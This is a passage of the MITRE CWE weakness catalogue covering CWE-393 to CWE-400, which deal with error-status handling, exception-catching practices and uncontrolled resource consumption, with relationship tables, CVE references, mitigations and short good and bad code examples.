MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939
MemberOf	C	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1133	1989

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Error Status Code
The CERT Oracle Secure Coding Standard for Java (2011)	TPS03-J		Ensure that tasks executing in a thread pool do not fail silently
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-393: Return of Wrong Status Code

Weakness ID : 393 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf		684	Incorrect Provision of Specified Functionality	1332

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Alter Execution Logic *This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.*	

Demonstrative Examples

Example 1:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java *(bad)*

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1132*
CVE-2001-1509	Hardware-specific implementation of system call causes incorrect results from geteuid. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1509*
CVE-2001-1559	System call returns wrong value, leading to a resultant NULL dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1559*
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Notes

Relationship

This can be primary or resultant, but it is probably most often primary to other issues.

Maintenance

This probably overlaps various categories, especially those related to error handling.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wrong Status Code
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-394: Unexpected Status Code or Return Value

Weakness ID : 394 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	754	Improper Check for Unusual or Exceptional Conditions	1381

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Alter Execution Logic	

Observed Examples

Reference	Description
CVE-2004-1395	Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1395*
CVE-2002-2124	Unchecked return code from recv() leads to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2124*
CVE-2005-2553	Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2553*
CVE-2005-1858	Memory not properly cleared when read() function call returns fewer bytes than expected. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1858*
CVE-2000-0536	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0536*
CVE-2001-0910	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0910*
CVE-2004-2371	Game server doesn't check return values for functions that handle text strings and associated size values. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2371*
CVE-2005-1267	Resultant infinite loop when function call returns -1 value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1267*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Notes

Relationship

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unexpected Status Code or Return Value
Software Fault Patterns	SFP4		Unchecked Status Condition
SEI CERT Perl Coding Standard	EXP00-PL	Imprecise	Do not return undef

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID : 395 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Extended Description

Programmers typically catch NullPointerException under three circumstances:

- The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
- The program explicitly throws a NullPointerException to signal an error condition.
- The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Demonstrative Examples

Example 1:

The following code mistakenly catches a NullPointerException.

Example Language: Java *(bad)*

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	1862
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Catching NullPointerException
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-396: Declaration of Catch for Generic Exception

Weakness ID : 396 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code excerpt handles three types of exceptions in an identical fashion.

Example Language: Java *(good)*

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
```

```
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

Example Language: *(bad)*

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	1862
MemberOf	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1939
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Overly-Broad Catch Block
Software Fault Patterns	SFP5		Ambiguous Exception Type
OMG ASCSM	ASCSM-CWE-396		
OMG ASCRM	ASCRM-CWE-396		

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-397: Declaration of Throws for Generic Exception

Weakness ID : 397 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following method throws three types of exceptions.

Example Language: Java *(good)*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

Example Language: *(bad)*

```
public void doExchange() throws Exception {
```

```
    ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Example 2:

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

Example Language: *(bad)*

```
int myfunction() throw(std::exception) {
    if (0) throw out_of_range();
    throw length_error();
}
```

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	1862
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1939
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Notes

Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Overly-Broad Throws Declaration
The CERT Oracle Secure Coding Standard for Java (2011)	ERR07-J		Do not throw RuntimeException, Exception, or Throwable
Software Fault Patterns	SFP5		Ambiguous Exception Type
OMG ASCSM	ASCSM-CWE-397		
OMG ASCRM	ASCRM-CWE-397		

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-400: Uncontrolled Resource Consumption

Weakness ID : 400 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Extended Description

Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

There are at least three distinct scenarios which can commonly lead to resource exhaustion:

- Lack of throttling for the number of allocated resources
- Losing all references to a resource before reaching the shutdown stage
- Not closing/returning a resource after processing

Resource exhaustion problems are often result due to an incorrect implementation of the following situations:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for releasing the resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1422
ParentOf	B	771	Missing Reference to Active Allocated Resource	1430
ParentOf	B	779	Logging of Excessive Data	1446

Nature	Type	ID	Name	Page
ParentOf	B	920	Improper Restriction of Power Consumption	1601
ParentOf	B	1235	Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations	1754
CanFollow	B	410	Insufficient Resource Pool	891

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1422
ParentOf	B	920	Improper Restriction of Power Consumption	1601

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Resource Exhaustion :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *The most common result of resource exhaustion is denial of service. The software may slow down, crash due to unhandled errors, or lock out legitimate users.*	
Access Control Other	Bypass Protection Mechanism Other *In some cases it may be possible to force the software to "fail open" in the event of resource exhaustion. The state of the software -- and possibly the security functionality - may then be compromised.*	

Detection Methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness = Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame.

Effectiveness = Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness = Opportunistic

Potential Mitigations

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
class Worker implements Executor {
  ...
  public void execute(Runnable r) {
    try {
      ...
    }
    catch (InterruptedException ie) {
      // postpone response
      Thread.currentThread().interrupt();
    }
  }
  public Worker(Channel ch, int nworkers) {
    ...
  }
  protected void activate() {
    Runnable loop = new Runnable() {
```

```
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
```

```
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 4:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(bad)*

```
public void acceptConnections() {
```

```
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2009-2874	Product allows attackers to cause a crash via a large number of connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2874*
CVE-2009-1928	Malformed request triggers uncontrolled recursion, leading to stack exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1928*
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2858*
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726*
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2540*
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2299*

Reference	Description
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2054*
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5180*
CVE-2008-2121	TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2121*
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2122*
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1700*
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4103*
CVE-2006-1173	Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1173*
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1951
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
